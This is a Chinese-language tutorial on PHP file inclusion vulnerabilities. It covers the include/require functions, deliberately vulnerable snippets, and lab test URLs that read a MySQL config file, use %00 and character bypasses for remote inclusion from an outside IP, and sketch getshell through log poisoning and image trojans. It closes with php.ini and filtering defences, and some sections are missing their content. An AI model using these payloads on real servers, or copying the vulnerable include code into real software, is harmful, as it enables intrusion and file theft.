文件包含总结
一、文件包含漏洞的原理
1、原理
网站开发者经常会把一些代码插入到指定的地方,从而节省之间避免再次编写 ,这就是包含函数的基础解释 ,但是我们不光可以包含我们预先指定的文件,也可以包含我们服务器内部的其他文件,前提条件就是我们需要有可读的权限才能读取这些文件 ,所以这样就会导致文件包含漏洞
2、产生的原因
在网站的开发人员在开发网站的时候,会把经常重复使用的函数或者特定的页面写到单个文件中,需要使用的时候就直接调用此文件即可,而无需再次浪费时间再次编写,这种操作通常被称为文件包含。
如果我们没有对文件的来源进行严格的审查,也就是程序员在编写代码的时候触犯的逻辑性的错误就可能会导致文件读取漏洞和其它类型的漏洞,我们已php为例,在php中常用的文函数有(include、require、include_once、require_once)
3、PHP文件包含函数
1)include()
被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path指定的目录寻找。如果在 include_path下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;
注:php开启错误题型需要配置php.ini中disaply_errors为On
2)Require()
和 include几乎完全一样,除了处理失败的方式不同之外。require 在出错时产生 E_COMPILE_ERROR 级别的错误。换句话说将导致脚本中止而 include只产生警告(E_WARNING),脚本会继续运行。
3)include_once()
和 include语句类似,唯一区别是如果该文件中已经被包含过,则不会再次包含,且 include_once 会返回 true。 如同此语句名字暗示的那样,该文件只会包含一次。 include_once 可以用于在脚本执行期间同一个文件有可能被包含超过一次的情况下,想确保它只被包含一次以避免函数重定义,变量重新赋值等问题。
4)require_once()
require_once 语句和 require语句完全相同,唯一区别是 PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。
4、支持的协议和封装协议
文件包含可以使用下面的协议:
file://协议
php://协议
执行任意代码
写入木马
封装协议的局限性:
测试:读取源码
二、编写存在文件包含漏洞的代码
下面通过编写几个简单的文件包含页面来演示文件包含漏洞
1、无过滤本地文件包含
<?php $filename = $_GET['filename']; include($filename); ?>
测试:读取MySQL配置文件
http://127.0.0.1/1.php?filename=C:\phpStudy\PHPTutorial\MySQL\my.ini
2、有过滤本地文件包含
有限制本地文件包含漏洞是指代码中为包含文件制定了特定的前缀或者.php、.html等扩展名,攻击者需要绕过前缀或者扩展名过滤,才能利用文件包含漏洞读取操作系统中的其他文件,获取敏感信息。常见的有限制本地文件包含过滤绕过的方式主要:有%00截断文件包含、路径长度截断文件包含、点号截断文件包含这三种
<?php $filename = $_GET['filename']; include($filename.”.html”); ?>
绕过测试:
http://127.0.0.1/1.php?filename=test.txt%00.html
点号截断适用于Windows系统,当点号的长度大于256B时,就可以造成扩展名截断。
3、远程文件包含
<?php $filename = $_GET['filename']; include($filename.”.html”); ?>
测试
问号绕过
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt?
#号绕过
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%23(#号要编码)
空格绕过
http://127.0.0.1/test.php?filename=http://192.168.1.110/xiaohua.txt%20(%20是空格的url编码)
三、通过包含不同的文件getshell
1、allow_url_include 开启的情况
在传输过程会对一些特殊字符进行url编码,所以我们可以利用burp绕过这一步
2、包含日志文件getshell
默认安装的时候是没有开启日志记录功能的也就是不存在 access.log。但是默认存在php error log
访问不带payload的文件
可以看到有记录
同样burp抓包测试发现getshell
3、图片马getshell
在文件上传的时候,
正常图片上传之后,通过文件包含漏洞,把图片马的路劲包含进include,则会把图片马当作php执行。
四、远程文件包含和本地文件包含的区别
1)本地文件包含主要是包含服务器上的文件
2)远程文件包含主要是通过http协议包含其他地方的资源
3)远程文件包含比本地文件包含的危害大
五、如何进行防御
1)allow_url_fopen=off
2)allow_url_include=off
3)过滤./ ../
4)使用正则或者stristr过滤伪协议